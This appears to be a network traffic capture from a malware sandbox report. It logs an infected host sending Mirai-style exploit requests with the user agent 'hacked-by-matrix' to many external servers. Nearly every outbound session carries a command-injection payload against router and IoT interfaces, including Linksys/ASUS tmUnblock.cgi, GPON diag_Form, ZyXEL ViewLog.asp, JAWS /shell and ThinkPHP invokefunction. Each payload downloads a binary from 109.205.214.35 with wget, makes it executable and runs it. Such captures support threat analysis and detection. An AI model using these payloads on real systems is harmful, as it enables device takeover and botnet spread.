26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 32 34 33 33 33 32 31 37 26 23 34 36 3b 31 37 31 30 39 39 34 36 33 39 26 23 34 36 3b 31 61 66 30 33 34 35 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.24333217.1710994639.1af0345<P>https://errors.edgesuite.net/9.24333217.1710994639.1af0345</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
350	192.168.2.23	45442	80.75.40.44	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:18.657390118 CET	219	IN	HTTP/1.1 400 Bad request Content-length: 90 Cache-Control: no-cache Connection: close Content-Type: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 72 65 71 75 65 73 74 3c 2f 68 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 6e 20 69 6e 76 61 6c 69 64 20 72 65 71 75 65 73 74 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>400 Bad request</h1>Your browser sent an invalid request.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
351	192.168.2.23	38486	172.66.198.166	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:18.804820061 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
352	192.168.2.23	45820	172.65.216.70	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:18.839695930 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
353	192.168.2.23	42904	172.65.69.248	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:18.840189934 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
354	192.168.2.23	35610	80.123.83.75	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:18.921315908 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:19.595787048 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:19.800298929 CET	393	IN	HTTP/1.1 301 Moved Permanently Server: nginx/1.16.1 Date: Thu, 21 Mar 2024 04:17:19 GMT Content-Type: text/html Content-Length: 169 Connection: keep-alive Location: https://127.0.0.1/cgi-bin/ViewLog.asp Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx/1.16.1</center></body></html>
Mar 21, 2024 05:17:19.800313950 CET	321	IN	HTTP/1.1 400 Bad Request Server: nginx/1.16.1 Date: Thu, 21 Mar 2024 04:17:19 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
355	192.168.2.23	42610	18.161.171.147	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:19.135061026 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:19.263576984 CET	927	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><HTML><HEAD><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1"><TITLE>ERROR: The request could not be satisfied</TITLE

Session ID	Source IP	Source Port	Destination IP	Destination Port
356	192.168.2.23	46724	88.80.23.174	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:19.194771051 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:19.386215925 CET	219	IN	HTTP/1.1 400 Bad request Content-length: 90 Cache-Control: no-cache Connection: close Content-Type: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 72 65 71 75 65 73 74 3c 2f 68 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 6e 20 69 6e 76 61 6c 69 64 20 72 65 71 75 65 73 74 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>400 Bad request</h1>Your browser sent an invalid request.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
357	192.168.2.23	44500	20.98.195.176	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:19.204185963 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
358	192.168.2.23	60380	140.248.146.182	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:19.223186016 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:19.310691118 CET	160	IN	HTTP/1.1 400 Bad Request Connection: close Content-Length: 11 content-type: text/plain; charset=utf-8 x-served-by: cache-ewr18153 Data Raw: 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port
359	192.168.2.23	41300	96.7.167.76	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:19.226771116 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:17:19.351557970 CET	431	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Thu, 21 Mar 2024 04:17:19 GMT Date: Thu, 21 Mar 2024 04:17:19 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 64 62 31 37 64 64 31 37 26 23 34 36 3b 31 37 31 30 39 39 34 36 33 39 26 23 34 36 3b 34 32 39 35 62 37 33 63 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.db17dd17.1710994639.4295b73c</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
360	192.168.2.23	38364	216.238.82.190	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:19.250070095 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:17:19.397664070 CET	175	IN	HTTP/1.1 400 Bad Request: missing required Host header Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3a 20 6d 69 73 73 69 6e 67 20 72 65 71 75 69 72 65 64 20 48 6f 73 74 20 68 65 61 64 65 72 Data Ascii: 400 Bad Request: missing required Host header

Session ID	Source IP	Source Port	Destination IP	Destination Port
361	192.168.2.23	55736	51.255.200.41	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:19.375926018 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:17:19.545780897 CET	323	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:17:19 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>
Mar 21, 2024 05:17:20.380688906 CET	323	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:17:19 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
362	192.168.2.23	47908	5.75.244.51	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:19.390871048 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:17:19.596525908 CET	175	IN	HTTP/1.1 400 Bad Request: missing required Host header Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3a 20 6d 69 73 73 69 6e 67 20 72 65 71 75 69 72 65 64 20 48 6f 73 74 20 68 65 61 64 65 72 Data Ascii: 400 Bad Request: missing required Host header

Session ID	Source IP	Source Port	Destination IP	Destination Port
363	192.168.2.23	46762	88.80.23.174	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:19.623150110 CET	219	IN	HTTP/1.1 400 Bad request Content-length: 90 Cache-Control: no-cache Connection: close Content-Type: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 72 65 71 75 65 73 74 3c 2f 68 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 6e 20 69 6e 76 61 6c 69 64 20 72 65 71 75 65 73 74 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>400 Bad request</h1>Your browser sent an invalid request.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
364	192.168.2.23	49046	172.65.63.228	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:19.830771923 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:17:20.106797934 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
365	192.168.2.23	59250	172.65.233.106	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:20.049168110 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
366	192.168.2.23	44358	178.159.2.250	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:20.092942953 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
